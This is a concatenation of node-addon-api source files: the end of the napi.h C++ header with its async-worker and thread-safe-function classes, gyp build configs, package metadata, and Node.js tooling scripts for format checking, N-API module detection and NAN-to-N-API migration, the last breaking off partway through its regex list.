NAPI_NOEXCEPT { return nullptr; } bool _construction_failed = true; bool _finalized = false; }; class HandleScope { public: HandleScope(napi_env env, napi_handle_scope scope); explicit HandleScope(Napi::Env env); ~HandleScope(); // Disallow copying to prevent double close of napi_handle_scope NAPI_DISALLOW_ASSIGN_COPY(HandleScope) operator napi_handle_scope() const; Napi::Env Env() const; private: napi_env _env; napi_handle_scope _scope; }; class EscapableHandleScope { public: EscapableHandleScope(napi_env env, napi_escapable_handle_scope scope); explicit EscapableHandleScope(Napi::Env env); ~EscapableHandleScope(); // Disallow copying to prevent double close of napi_escapable_handle_scope NAPI_DISALLOW_ASSIGN_COPY(EscapableHandleScope) operator napi_escapable_handle_scope() const; Napi::Env Env() const; Value Escape(napi_value escapee); private: napi_env _env; napi_escapable_handle_scope _scope; }; #if (NAPI_VERSION > 2) class CallbackScope { public: CallbackScope(napi_env env, napi_callback_scope scope); CallbackScope(napi_env env, napi_async_context context); virtual ~CallbackScope(); // Disallow copying to prevent double close of napi_callback_scope NAPI_DISALLOW_ASSIGN_COPY(CallbackScope) operator napi_callback_scope() const; Napi::Env Env() const; private: napi_env _env; napi_callback_scope _scope; }; #endif class AsyncContext { public: explicit AsyncContext(napi_env env, const char* resource_name); explicit AsyncContext(napi_env env, const char* resource_name, const Object& resource); virtual ~AsyncContext(); AsyncContext(AsyncContext&& other); AsyncContext& operator=(AsyncContext&& other); NAPI_DISALLOW_ASSIGN_COPY(AsyncContext) operator napi_async_context() const; Napi::Env Env() const; private: napi_env _env; napi_async_context _context; }; #if NAPI_HAS_THREADS class AsyncWorker { public: virtual ~AsyncWorker(); NAPI_DISALLOW_ASSIGN_COPY(AsyncWorker) operator napi_async_work() const; Napi::Env Env() const; void Queue(); void Cancel(); void SuppressDestruct(); ObjectReference& Receiver(); FunctionReference& Callback(); virtual void OnExecute(Napi::Env env); virtual void OnWorkComplete(Napi::Env env, napi_status status); protected: explicit AsyncWorker(const Function& callback); explicit AsyncWorker(const Function& callback, const char* resource_name); explicit AsyncWorker(const Function& callback, const char* resource_name, const Object& resource); explicit AsyncWorker(const Object& receiver, const Function& callback); explicit AsyncWorker(const Object& receiver, const Function& callback, const char* resource_name); explicit AsyncWorker(const Object& receiver, const Function& callback, const char* resource_name, const Object& resource); explicit AsyncWorker(Napi::Env env); explicit AsyncWorker(Napi::Env env, const char* resource_name); explicit AsyncWorker(Napi::Env env, const char* resource_name, const Object& resource); virtual void Execute() = 0; virtual void OnOK(); virtual void OnError(const Error& e); virtual void Destroy(); virtual std::vector GetResult(Napi::Env env); void SetError(const std::string& error); private: static inline void OnAsyncWorkExecute(napi_env env, void* asyncworker); static inline void OnAsyncWorkComplete(napi_env env, napi_status status, void* asyncworker); napi_env _env; napi_async_work _work; ObjectReference _receiver; FunctionReference _callback; std::string _error; bool _suppress_destruct; }; #endif // NAPI_HAS_THREADS #if (NAPI_VERSION > 3 && NAPI_HAS_THREADS) class ThreadSafeFunction { public: // This API may only be called from the main thread. template static ThreadSafeFunction New(napi_env env, const Function& callback, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount); // This API may only be called from the main thread. template static ThreadSafeFunction New(napi_env env, const Function& callback, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context); // This API may only be called from the main thread. template static ThreadSafeFunction New(napi_env env, const Function& callback, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, Finalizer finalizeCallback); // This API may only be called from the main thread. template static ThreadSafeFunction New(napi_env env, const Function& callback, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, Finalizer finalizeCallback, FinalizerDataType* data); // This API may only be called from the main thread. template static ThreadSafeFunction New(napi_env env, const Function& callback, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context, Finalizer finalizeCallback); // This API may only be called from the main thread. template static ThreadSafeFunction New(napi_env env, const Function& callback, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context, Finalizer finalizeCallback, FinalizerDataType* data); // This API may only be called from the main thread. template static ThreadSafeFunction New(napi_env env, const Function& callback, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount); // This API may only be called from the main thread. template static ThreadSafeFunction New(napi_env env, const Function& callback, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context); // This API may only be called from the main thread. template static ThreadSafeFunction New(napi_env env, const Function& callback, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, Finalizer finalizeCallback); // This API may only be called from the main thread. template static ThreadSafeFunction New(napi_env env, const Function& callback, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, Finalizer finalizeCallback, FinalizerDataType* data); // This API may only be called from the main thread. template static ThreadSafeFunction New(napi_env env, const Function& callback, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context, Finalizer finalizeCallback); // This API may only be called from the main thread. template static ThreadSafeFunction New(napi_env env, const Function& callback, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context, Finalizer finalizeCallback, FinalizerDataType* data); ThreadSafeFunction(); ThreadSafeFunction(napi_threadsafe_function tsFunctionValue); operator napi_threadsafe_function() const; // This API may be called from any thread. napi_status BlockingCall() const; // This API may be called from any thread. template napi_status BlockingCall(Callback callback) const; // This API may be called from any thread. template napi_status BlockingCall(DataType* data, Callback callback) const; // This API may be called from any thread. napi_status NonBlockingCall() const; // This API may be called from any thread. template napi_status NonBlockingCall(Callback callback) const; // This API may be called from any thread. template napi_status NonBlockingCall(DataType* data, Callback callback) const; // This API may only be called from the main thread. void Ref(napi_env env) const; // This API may only be called from the main thread. void Unref(napi_env env) const; // This API may be called from any thread. napi_status Acquire() const; // This API may be called from any thread. napi_status Release() const; // This API may be called from any thread. napi_status Abort() const; struct ConvertibleContext { template operator T*() { return static_cast(context); } void* context; }; // This API may be called from any thread. ConvertibleContext GetContext() const; private: using CallbackWrapper = std::function; template static ThreadSafeFunction New(napi_env env, const Function& callback, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context, Finalizer finalizeCallback, FinalizerDataType* data, napi_finalize wrapper); napi_status CallInternal(CallbackWrapper* callbackWrapper, napi_threadsafe_function_call_mode mode) const; static void CallJS(napi_env env, napi_value jsCallback, void* context, void* data); napi_threadsafe_function _tsfn; }; // A TypedThreadSafeFunction by default has no context (nullptr) and can // accept any type (void) to its CallJs. template class TypedThreadSafeFunction { public: // This API may only be called from the main thread. // Helper function that returns nullptr if running Node-API 5+, otherwise a // non-empty, no-op Function. This provides the ability to specify at // compile-time a callback parameter to `New` that safely does no action // when targeting _any_ Node-API version. #if NAPI_VERSION > 4 static std::nullptr_t EmptyFunctionFactory(Napi::Env env); #else static Napi::Function EmptyFunctionFactory(Napi::Env env); #endif static Napi::Function FunctionOrEmpty(Napi::Env env, Napi::Function& callback); #if NAPI_VERSION > 4 // This API may only be called from the main thread. // Creates a new threadsafe function with: // Callback [missing] Resource [missing] Finalizer [missing] template static TypedThreadSafeFunction New( napi_env env, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context = nullptr); // This API may only be called from the main thread. // Creates a new threadsafe function with: // Callback [missing] Resource [passed] Finalizer [missing] template static TypedThreadSafeFunction New( napi_env env, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context = nullptr); // This API may only be called from the main thread. // Creates a new threadsafe function with: // Callback [missing] Resource [missing] Finalizer [passed] template static TypedThreadSafeFunction New( napi_env env, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context, Finalizer finalizeCallback, FinalizerDataType* data = nullptr); // This API may only be called from the main thread. // Creates a new threadsafe function with: // Callback [missing] Resource [passed] Finalizer [passed] template static TypedThreadSafeFunction New( napi_env env, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context, Finalizer finalizeCallback, FinalizerDataType* data = nullptr); #endif // This API may only be called from the main thread. // Creates a new threadsafe function with: // Callback [passed] Resource [missing] Finalizer [missing] template static TypedThreadSafeFunction New( napi_env env, const Function& callback, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context = nullptr); // This API may only be called from the main thread. // Creates a new threadsafe function with: // Callback [passed] Resource [passed] Finalizer [missing] template static TypedThreadSafeFunction New( napi_env env, const Function& callback, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context = nullptr); // This API may only be called from the main thread. // Creates a new threadsafe function with: // Callback [passed] Resource [missing] Finalizer [passed] template static TypedThreadSafeFunction New( napi_env env, const Function& callback, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context, Finalizer finalizeCallback, FinalizerDataType* data = nullptr); // This API may only be called from the main thread. // Creates a new threadsafe function with: // Callback [passed] Resource [passed] Finalizer [passed] template static TypedThreadSafeFunction New( napi_env env, CallbackType callback, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context, Finalizer finalizeCallback, FinalizerDataType* data = nullptr); TypedThreadSafeFunction(); TypedThreadSafeFunction(napi_threadsafe_function tsFunctionValue); operator napi_threadsafe_function() const; // This API may be called from any thread. napi_status BlockingCall(DataType* data = nullptr) const; // This API may be called from any thread. napi_status NonBlockingCall(DataType* data = nullptr) const; // This API may only be called from the main thread. void Ref(napi_env env) const; // This API may only be called from the main thread. void Unref(napi_env env) const; // This API may be called from any thread. napi_status Acquire() const; // This API may be called from any thread. napi_status Release() const; // This API may be called from any thread. napi_status Abort() const; // This API may be called from any thread. ContextType* GetContext() const; private: template static TypedThreadSafeFunction New( napi_env env, const Function& callback, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context, Finalizer finalizeCallback, FinalizerDataType* data, napi_finalize wrapper); static void CallJsInternal(napi_env env, napi_value jsCallback, void* context, void* data); protected: napi_threadsafe_function _tsfn; }; template class AsyncProgressWorkerBase : public AsyncWorker { public: virtual void OnWorkProgress(DataType* data) = 0; class ThreadSafeData { public: ThreadSafeData(AsyncProgressWorkerBase* asyncprogressworker, DataType* data) : _asyncprogressworker(asyncprogressworker), _data(data) {} AsyncProgressWorkerBase* asyncprogressworker() { return _asyncprogressworker; } DataType* data() { return _data; } private: AsyncProgressWorkerBase* _asyncprogressworker; DataType* _data; }; void OnWorkComplete(Napi::Env env, napi_status status) override; protected: explicit AsyncProgressWorkerBase(const Object& receiver, const Function& callback, const char* resource_name, const Object& resource, size_t queue_size = 1); virtual ~AsyncProgressWorkerBase(); // Optional callback of Napi::ThreadSafeFunction only available after // NAPI_VERSION 4. Refs: https://github.com/nodejs/node/pull/27791 #if NAPI_VERSION > 4 explicit AsyncProgressWorkerBase(Napi::Env env, const char* resource_name, const Object& resource, size_t queue_size = 1); #endif static inline void OnAsyncWorkProgress(Napi::Env env, Napi::Function jsCallback, void* data); napi_status NonBlockingCall(DataType* data); private: ThreadSafeFunction _tsfn; bool _work_completed = false; napi_status _complete_status; static inline void OnThreadSafeFunctionFinalize( Napi::Env env, void* data, AsyncProgressWorkerBase* context); }; template class AsyncProgressWorker : public AsyncProgressWorkerBase { public: virtual ~AsyncProgressWorker(); class ExecutionProgress { friend class AsyncProgressWorker; public: void Signal() const; void Send(const T* data, size_t count) const; private: explicit ExecutionProgress(AsyncProgressWorker* worker) : _worker(worker) {} AsyncProgressWorker* const _worker; }; void OnWorkProgress(void*) override; protected: explicit AsyncProgressWorker(const Function& callback); explicit AsyncProgressWorker(const Function& callback, const char* resource_name); explicit AsyncProgressWorker(const Function& callback, const char* resource_name, const Object& resource); explicit AsyncProgressWorker(const Object& receiver, const Function& callback); explicit AsyncProgressWorker(const Object& receiver, const Function& callback, const char* resource_name); explicit AsyncProgressWorker(const Object& receiver, const Function& callback, const char* resource_name, const Object& resource); // Optional callback of Napi::ThreadSafeFunction only available after // NAPI_VERSION 4. Refs: https://github.com/nodejs/node/pull/27791 #if NAPI_VERSION > 4 explicit AsyncProgressWorker(Napi::Env env); explicit AsyncProgressWorker(Napi::Env env, const char* resource_name); explicit AsyncProgressWorker(Napi::Env env, const char* resource_name, const Object& resource); #endif virtual void Execute(const ExecutionProgress& progress) = 0; virtual void OnProgress(const T* data, size_t count) = 0; private: void Execute() override; void Signal(); void SendProgress_(const T* data, size_t count); std::mutex _mutex; T* _asyncdata; size_t _asyncsize; bool _signaled; }; template class AsyncProgressQueueWorker : public AsyncProgressWorkerBase> { public: virtual ~AsyncProgressQueueWorker(){}; class ExecutionProgress { friend class AsyncProgressQueueWorker; public: void Signal() const; void Send(const T* data, size_t count) const; private: explicit ExecutionProgress(AsyncProgressQueueWorker* worker) : _worker(worker) {} AsyncProgressQueueWorker* const _worker; }; void OnWorkComplete(Napi::Env env, napi_status status) override; void OnWorkProgress(std::pair*) override; protected: explicit AsyncProgressQueueWorker(const Function& callback); explicit AsyncProgressQueueWorker(const Function& callback, const char* resource_name); explicit AsyncProgressQueueWorker(const Function& callback, const char* resource_name, const Object& resource); explicit AsyncProgressQueueWorker(const Object& receiver, const Function& callback); explicit AsyncProgressQueueWorker(const Object& receiver, const Function& callback, const char* resource_name); explicit AsyncProgressQueueWorker(const Object& receiver, const Function& callback, const char* resource_name, const Object& resource); // Optional callback of Napi::ThreadSafeFunction only available after // NAPI_VERSION 4. Refs: https://github.com/nodejs/node/pull/27791 #if NAPI_VERSION > 4 explicit AsyncProgressQueueWorker(Napi::Env env); explicit AsyncProgressQueueWorker(Napi::Env env, const char* resource_name); explicit AsyncProgressQueueWorker(Napi::Env env, const char* resource_name, const Object& resource); #endif virtual void Execute(const ExecutionProgress& progress) = 0; virtual void OnProgress(const T* data, size_t count) = 0; private: void Execute() override; void Signal() const; void SendProgress_(const T* data, size_t count); }; #endif // NAPI_VERSION > 3 && NAPI_HAS_THREADS // Memory management. class MemoryManagement { public: static int64_t AdjustExternalMemory(BasicEnv env, int64_t change_in_bytes); }; // Version management class VersionManagement { public: static uint32_t GetNapiVersion(BasicEnv env); static const napi_node_version* GetNodeVersion(BasicEnv env); }; #if NAPI_VERSION > 5 template class Addon : public InstanceWrap { public: static inline Object Init(Env env, Object exports); static T* Unwrap(Object wrapper); protected: using AddonProp = ClassPropertyDescriptor; void DefineAddon(Object exports, const std::initializer_list& props); Napi::Object DefineProperties(Object object, const std::initializer_list& props); private: Object entry_point_; }; #endif // NAPI_VERSION > 5 #ifdef NAPI_CPP_CUSTOM_NAMESPACE } // namespace NAPI_CPP_CUSTOM_NAMESPACE #endif } // namespace Napi // Inline implementations of all the above class methods are included here. #include "napi-inl.h" #endif // SRC_NAPI_H_ { 'targets': [ { 'target_name': 'node_addon_api', 'type': 'none', 'sources': [ 'napi.h', 'napi-inl.h' ], 'direct_dependent_settings': { 'include_dirs': [ '.' ], 'includes': ['noexcept.gypi'], } }, { 'target_name': 'node_addon_api_except', 'type': 'none', 'sources': [ 'napi.h', 'napi-inl.h' ], 'direct_dependent_settings': { 'include_dirs': [ '.' ], 'includes': ['except.gypi'], } }, { 'target_name': 'node_addon_api_except_all', 'type': 'none', 'sources': [ 'napi.h', 'napi-inl.h' ], 'direct_dependent_settings': { 'include_dirs': [ '.' ], 'includes': ['except.gypi'], 'defines': [ 'NODE_ADDON_API_CPP_EXCEPTIONS_ALL' ] } }, { 'target_name': 'node_addon_api_maybe', 'type': 'none', 'sources': [ 'napi.h', 'napi-inl.h' ], 'direct_dependent_settings': { 'include_dirs': [ '.' ], 'includes': ['noexcept.gypi'], 'defines': ['NODE_ADDON_API_ENABLE_MAYBE'] } }, ] } { 'targets': [ { 'target_name': 'nothing', 'type': 'static_library', 'sources': [ 'nothing.c' ] } ] } { 'defines': [ 'NODE_ADDON_API_DISABLE_CPP_EXCEPTIONS' ], 'cflags': [ '-fno-exceptions' ], 'cflags_cc': [ '-fno-exceptions' ], 'conditions': [ ["OS=='win'", { # _HAS_EXCEPTIONS is already defined and set to 0 in common.gypi #"defines": [ # "_HAS_EXCEPTIONS=0" #], "msvs_settings": { "VCCLCompilerTool": { 'ExceptionHandling': 0, 'EnablePREfast': 'true', }, }, }], ["OS=='mac'", { 'xcode_settings': { 'CLANG_CXX_LIBRARY': 'libc++', 'MACOSX_DEPLOYMENT_TARGET': '10.7', 'GCC_ENABLE_CPP_EXCEPTIONS': 'NO', }, }], ], } { "versions": [ { "version": "*", "target": { "node": "active" }, "response": { "type": "time-permitting", "paid": false, "contact": { "name": "node-addon-api team", "url": "https://github.com/nodejs/node-addon-api/issues" } }, "backing": [ { "project": "https://github.com/nodejs" }, { "foundation": "https://openjsf.org/" } ] } ] } { "description": "Node.js API (Node-API)", "devDependencies": { "benchmark": "^2.1.4", "bindings": "^1.5.0", "clang-format": "^1.4.0", "eslint": "^9.13.0", "fs-extra": "^11.1.1", "neostandard": "^0.12.0", "pre-commit": "^1.2.2", "semver": "^7.6.0" }, "directories": {}, "gypfile": false, "homepage": "https://github.com/nodejs/node-addon-api", "license": "MIT", "main": "index.js", "name": "node-addon-api", "readme": "README.md", "repository": { "type": "git", "url": "git://github.com/nodejs/node-addon-api.git" }, "files": [ "*.{c,h,gyp,gypi}", "package-support.json", "tools/" ], "pre-commit": "lint", "version": "8.9.0", "support": true, "engines": { "node": "^18 || ^20 || >= 21" } }# Tools ## clang-format The clang-format checking tools is designed to check changed lines of code compared to given git-refs. ## Migration Script The migration tool is designed to reduce repetitive work in the migration process. However, the script is not aiming to convert every thing for you. There are usually some small fixes and major reconstruction required. ### How To Use To run the conversion script, first make sure you have the latest `node-addon-api` in your `node_modules` directory. ``` npm install node-addon-api ``` Then run the script passing your project directory ``` node ./node_modules/node-addon-api/tools/conversion.js ./ ``` After finish, recompile and debug things that are missed by the script. ### Quick Fixes Here is the list of things that can be fixed easily. 1. Change your methods' return value to void if it doesn't return value to JavaScript. 2. Use `.` to access attribute or to invoke member function in Napi::Object instead of `->`. 3. `Napi::New(env, value);` to `Napi::[Type]::New(env, value); ### Major Reconstructions The implementation of `Napi::ObjectWrap` is significantly different from NAN's. `Napi::ObjectWrap` takes a pointer to the wrapped object and creates a reference to the wrapped object inside ObjectWrap constructor. `Napi::ObjectWrap` also associates wrapped object's instance methods to Javascript module instead of static methods like NAN. So if you use Nan::ObjectWrap in your module, you will need to execute the following steps. 1. Convert your [ClassName]::New function to a constructor function that takes a `Napi::CallbackInfo`. Declare it as ``` [ClassName](const Napi::CallbackInfo& info); ``` and define it as ``` [ClassName]::[ClassName](const Napi::CallbackInfo& info) : Napi::ObjectWrap<[ClassName]>(info){ ... } ``` This way, the `Napi::ObjectWrap` constructor will be invoked after the object has been instantiated and `Napi::ObjectWrap` can use the `this` pointer to create a reference to the wrapped object. 2. Move your original constructor code into the new constructor. Delete your original constructor. 3. In your class initialization function, associate native methods in the following way. ``` Napi::FunctionReference constructor; void [ClassName]::Init(Napi::Env env, Napi::Object exports, Napi::Object module) { Napi::HandleScope scope(env); Napi::Function ctor = DefineClass(env, "Canvas", { InstanceMethod<&[ClassName]::Func1>("Func1"), InstanceMethod<&[ClassName]::Func2>("Func2"), InstanceAccessor<&[ClassName]::ValueGetter>("Value"), StaticMethod<&[ClassName]::StaticMethod>("MethodName"), InstanceValue("Value", Napi::[Type]::New(env, value)), }); constructor = Napi::Persistent(ctor); constructor .SuppressDestruct(); exports.Set("[ClassName]", ctor); } ``` 4. In function where you need to Unwrap the ObjectWrap in NAN like `[ClassName]* native = Nan::ObjectWrap::Unwrap<[ClassName]>(info.This());`, use `this` pointer directly as the unwrapped object as each ObjectWrap instance is associated with a unique object instance. If you still find issues after following this guide, please leave us an issue describing your problem and we will try to resolve it. 'use strict'; // Descend into a directory structure and, for each file matching *.node, output // based on the imports found in the file whether it's an N-API module or not. const fs = require('fs'); const path = require('path'); // Read the output of the command, break it into lines, and use the reducer to // decide whether the file is an N-API module or not. function checkFile (file, command, argv, reducer) { const child = require('child_process').spawn(command, argv, { stdio: ['inherit', 'pipe', 'inherit'] }); let leftover = ''; let isNapi; child.stdout.on('data', (chunk) => { if (isNapi === undefined) { chunk = (leftover + chunk.toString()).split(/[\r\n]+/); leftover = chunk.pop(); isNapi = chunk.reduce(reducer, isNapi); if (isNapi !== undefined) { child.kill(); } } }); child.on('close', (code, signal) => { if ((code === null && signal !== null) || (code !== 0)) { console.log( command + ' exited with code: ' + code + ' and signal: ' + signal); } else { // Green if it's a N-API module, red otherwise. console.log( '\x1b[' + (isNapi ? '42' : '41') + 'm' + (isNapi ? ' N-API' : 'Not N-API') + '\x1b[0m: ' + file); } }); } // Use nm -a to list symbols. function checkFileUNIX (file) { checkFile(file, 'nm', ['-a', file], (soFar, line) => { if (soFar === undefined) { line = line.match(/([0-9a-f]*)? ([a-zA-Z]) (.*$)/); if (line[2] === 'U') { if (/^napi/.test(line[3])) { soFar = true; } } } return soFar; }); } // Use dumpbin /imports to list symbols. function checkFileWin32 (file) { checkFile(file, 'dumpbin', ['/imports', file], (soFar, line) => { if (soFar === undefined) { line = line.match(/([0-9a-f]*)? +([a-zA-Z0-9]) (.*$)/); if (line && /^napi/.test(line[line.length - 1])) { soFar = true; } } return soFar; }); } // Descend into a directory structure and pass each file ending in '.node' to // one of the above checks, depending on the OS. function recurse (top) { fs.readdir(top, (error, items) => { if (error) { throw new Error('error reading directory ' + top + ': ' + error); } items.forEach((item) => { item = path.join(top, item); fs.stat(item, ((item) => (error, stats) => { if (error) { throw new Error('error about ' + item + ': ' + error); } if (stats.isDirectory()) { recurse(item); } else if (/[.]node$/.test(item) && // Explicitly ignore files called 'nothing.node' because they are // artefacts of node-addon-api having identified a version of // Node.js that ships with a correct implementation of N-API. path.basename(item) !== 'nothing.node') { process.platform === 'win32' ? checkFileWin32(item) : checkFileUNIX(item); } })(item)); }); }); } // Start with the directory given on the command line or the current directory // if nothing was given. recurse(process.argv.length > 3 ? process.argv[2] : '.'); #!/usr/bin/env node const spawn = require('child_process').spawnSync; const path = require('path'); const filesToCheck = ['*.h', '*.cc']; const FORMAT_START = process.env.FORMAT_START || 'main'; function main (args) { let fix = false; while (args.length > 0) { switch (args[0]) { case '-f': case '--fix': fix = true; break; default: } args.shift(); } const clangFormatPath = path.dirname(require.resolve('clang-format')); const binary = process.platform === 'win32' ? 'node_modules\\.bin\\clang-format.cmd' : 'node_modules/.bin/clang-format'; const options = ['--binary=' + binary, '--style=file']; if (fix) { options.push(FORMAT_START); } else { options.push('--diff', FORMAT_START); } const gitClangFormatPath = path.join(clangFormatPath, 'bin/git-clang-format'); const result = spawn( 'python', [gitClangFormatPath, ...options, '--', ...filesToCheck], { encoding: 'utf-8' } ); if (result.stderr) { console.error('Error running git-clang-format:', result.stderr); return 2; } const clangFormatOutput = result.stdout.trim(); // Bail fast if in fix mode. if (fix) { console.log(clangFormatOutput); return 0; } // Detect if there is any complains from clang-format if ( clangFormatOutput !== '' && clangFormatOutput !== 'no modified files to format' && clangFormatOutput !== 'clang-format did not modify any files' ) { console.error(clangFormatOutput); const fixCmd = 'npm run lint:fix'; console.error(` ERROR: please run "${fixCmd}" to format changes in your commit Note that when running the command locally, please keep your local main branch and working branch up to date with nodejs/node-addon-api to exclude un-related complains. Or you can run "env FORMAT_START=upstream/main ${fixCmd}".`); return 1; } } if (require.main === module) { process.exitCode = main(process.argv.slice(2)); } #! /usr/bin/env node 'use strict'; const fs = require('fs'); const path = require('path'); const args = process.argv.slice(2); const dir = args[0]; if (!dir) { console.log('Usage: node ' + path.basename(__filename) + ' '); process.exit(1); } const NodeApiVersion = require('../').version; const disable = args[1]; let ConfigFileOperations; if (disable !== '--disable' && dir !== '--disable') { ConfigFileOperations = { 'package.json': [ [/([ ]*)"dependencies": {/g, '$1"dependencies": {\n$1 "node-addon-api": "' + NodeApiVersion + '",'], [/[ ]*"nan": *"[^"]+"(,|)[\n\r]/g, ''] ], 'binding.gyp': [ [/([ ]*)'include_dirs': \[/g, '$1\'include_dirs\': [\n$1 \'\s+(\w+)\s*=\s*Nan::New\([\w\d:]+\);(?:\w+->Reset\(\1\))?\s+\1->SetClassName\(Nan::String::New\("(\w+)"\)\);/g, 'Napi::Function $1 = DefineClass(env, "$2", {'], [/Local\s+(\w+)\s*=\s*Nan::New\([\w\d:]+\);\s+(\w+)\.Reset\((\1)\);\s+\1->SetClassName\((Nan::String::New|Nan::New<(v8::)*String>)\("(.+?)"\)\);/g, 'Napi::Function $1 = DefineClass(env, "$6", {'], [/Local\s+(\w+)\s*=\s*Nan::New\([\w\d:]+\);(?:\w+->Reset\(\1\))?\s+\1->SetClassName\(Nan::String::New\("(\w+)"\)\);/g, 'Napi::Function $1 = DefineClass(env, "$2", {'], [/Nan::New\(([\w\d:]+)\)->GetFunction\(\)/g, 'Napi::Function::New(env, $1)'], [/Nan::New\(([\w\d:]+)\)->GetFunction()/g, 'Napi::Function::New(env, $1);'], [/Nan::New\(([\w\d:]+)\)/g, 'Napi::Function::New(env, $1)'], [/Nan::New\(([\w\d:]+)\)/g, 'Napi::Function::New(env, $1)'], // FunctionTemplate to FunctionReference [/Nan::Persistent<(v8::)*FunctionTemplate>/g, 'Napi::FunctionReference'], [/Nan::Persistent<(v8::)*Function>/g, 'Napi::FunctionReference'], [/v8::Local/g, 'Napi::FunctionReference'], [/Local/g, 'Napi::FunctionReference'], [/v8::FunctionTemplate/g, 'Napi::FunctionReference'], [/FunctionTemplate/g, 'Napi::FunctionReference'], [/([ ]*)Nan::SetPrototypeMethod\(\w+, "(\w+)", (\w+)\);/g, '$1InstanceMethod("$2", &$3),'], [/([ ]*)(?:\w+\.Reset\(\w+\);\s+)?\(target\)\.Set\("(\w+)",\s*Nan::GetFunction\((\w+)\)\);/gm, '});\n\n' + '$1constructor = Napi::Persistent($3);\n' + '$1constructor.SuppressDestruct();\n' + '$1target.Set("$2", $3);'], // TODO: Other attribute combinations [/static_cast\(ReadOnly\s*\|\s*DontDelete\)/gm, 'static_cast(napi_enumerable | napi_configurable)'], [/([\w\d:<>]+?)::Cast\((.+?)\)/g, '$2.As<$1>()'], [/\*Nan::Utf8String\(([^)]+)\)/g, '$1->As().Utf8Value().c_str()'], [/Nan::Utf8String +(\w+)\(([^)]+)\)/g, 'std::string $1 = $2.As()'], [/Nan::Utf8String/g, 'std::string'], [/v8::String::Utf8Value (.+?)\((.+?)\)/g, 'Napi::String $1(env, $2)'], [/String::Utf8Value (.+?)\((.+?)\)/g, 'Napi::String $1(env, $2)'], [/\.length\(\)/g, '.Length()'], [/Nan::MakeCallback\(([^,]+),[\s\\]+([^,]+),/gm, '$2.MakeCallback($1,'], [/class\s+(\w+)\s*:\s*public\s+Nan::ObjectWrap/g, 'class $1 : public Napi::ObjectWrap<$1>'], [/(\w+)\(([^)]*)\)\s*:\s*Nan::ObjectWrap\(\)\s*(,)?/gm, '$1($2) : Napi::ObjectWrap<$1>()$3'], // HandleOKCallback to OnOK [/HandleOKCallback/g, 'OnOK'], // HandleErrorCallback to OnError [/HandleErrorCallback/g, 'OnError'], // ex. .As() to .As() [/\.As\(\)/g, '.As()'], [/\.As<(Value|Boolean|String|Number|Object|Array|Symbol|External|Function)>\(\)/g, '.As()'], // ex. Nan::New(info[0]) to Napi::Number::New(info[0]) [/Nan::New<(v8::)*Integer>\((.+?)\)/g, 'Napi::Number::New(env, $2)'], [/Nan::New\(([0-9.]+)\)/g, 'Napi::Number::New(env, $1)'], [/Nan::New<(v8::)*String>\("(.+?)"\)/g, 'Napi::String::New(env, "$2")'], [/Nan::New\("(.+?)"\)/g, 'Napi::String::New(env, "$1")'], [/Nan::New<(v8::)*(.+?)>\(\)/g, 'Napi::$2::New(env)'], [/Nan::New<(.+?)>\(\)/g, 'Napi::$1::New(env)'], [/Nan::New<(v8::)*(.+?)>\(/g, 'Napi::$2::New(env, '], [/Nan::New<(.+?)>\(/g, 'Napi::$1::New(env, '], [/Nan::NewBuffer\(/g, 'Napi::Buffer::New(env, '], // TODO: Properly handle this [/Nan::New\(/g, 'Napi::New(env, '], [/\.IsInt32\(\)/g, '.IsNumber()'], [/->IsInt32\(\)/g, '.IsNumber()'], [/(.+?)->BooleanValue\(\)/g, '$1.As().Value()'], [/(.+?)->Int32Value\(\)/g, '$1.As().Int32Value()'], [/(.+?)->Uint32Value\(\)/g, '$1.As().Uint32Value()'], [/(.+?)->IntegerValue\(\)/g, '$1.As().Int64Value()'], [/(.+?)->NumberValue\(\)/g, '$1.As().DoubleValue()'], // ex. Nan::To(info[0]) to info[0].Value() [/Nan::To\((.+?)\)/g, '$2.To()'], [/Nan::To<(Boolean|String|Number|Object|Array|Symbol|Function)>\((.+?)\)/g, '$2.To()'], // ex. Nan::To(info[0]) to info[0].As().Value() [/Nan::To\((.+?)\)/g, '$1.As().Value()'], // ex. Nan::To(info[0]) to info[0].As().Int32Value() [/Nan::To\((.+?)\)/g, '$1.As().Int32Value()'], // ex. Nan::To(info[0]) to info[0].As().Int32Value() [/Nan::To\((.+?)\)/g, '$1.As().Int32Value()'], // ex. Nan::To(info[0]) to info[0].As().Uint32Value() [/Nan::To\((.+?)\)/g, '$1.As().Uint32Value()'], // ex. Nan::To(info[0]) to info[0].As().Int64Value() [/Nan::To\((.+?)\)/g, '$1.As().Int64Value()'], // ex. Nan::To(info[0]) to info[0].As().FloatValue() [/Nan::To\((.+?)\)/g, '$1.As().FloatValue()'], // ex. Nan::To(info[0]) to info[0].As().DoubleValue() [/Nan::To\((.+?)\)/g, '$1.As().DoubleValue()'], [/Nan::New\((\w+)\)->HasInstance\((\w+)\)/g, '$2.InstanceOf($1.Value())'], [/Nan::Has\(([^,]+),\s*/gm, '($1).Has('], 